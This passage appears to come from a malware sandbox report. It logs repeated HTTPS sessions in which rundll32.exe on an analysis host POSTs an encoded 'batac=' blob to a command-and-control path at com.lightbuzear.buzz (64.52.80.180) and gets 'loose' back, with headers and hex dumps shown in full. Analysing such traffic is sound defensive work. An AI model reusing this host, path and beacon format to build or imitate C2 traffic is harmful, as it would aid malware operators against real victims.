2022-08-14 06:40:41 UTC	115	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:41 UTC	116	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:41 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:41 UTC	116	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49179	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:33 UTC	13	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:33 UTC	13	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:33 UTC	14	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:33 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:33 UTC	14	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49242	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:42 UTC	116	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:42 UTC	117	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:42 UTC	118	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:42 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:42 UTC	118	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49243	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:43 UTC	118	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:43 UTC	118	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:43 UTC	120	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:43 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:43 UTC	120	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49244	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:44 UTC	120	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:44 UTC	120	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:45 UTC	121	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:44 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:45 UTC	121	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49245	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:45 UTC	121	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:45 UTC	122	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:46 UTC	123	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:45 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:46 UTC	123	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49246	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:46 UTC	123	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:46 UTC	123	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:47 UTC	125	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:47 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:47 UTC	125	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49247	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:47 UTC	125	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:47 UTC	125	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:48 UTC	126	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:48 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:48 UTC	126	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49248	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:48 UTC	126	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:48 UTC	127	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:49 UTC	128	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:49 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:49 UTC	128	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49249	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:49 UTC	128	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:49 UTC	128	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:50 UTC	129	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:50 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:50 UTC	130	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49250	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:50 UTC	130	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:50 UTC	130	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:51 UTC	131	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:51 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:51 UTC	131	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49251	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:52 UTC	131	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
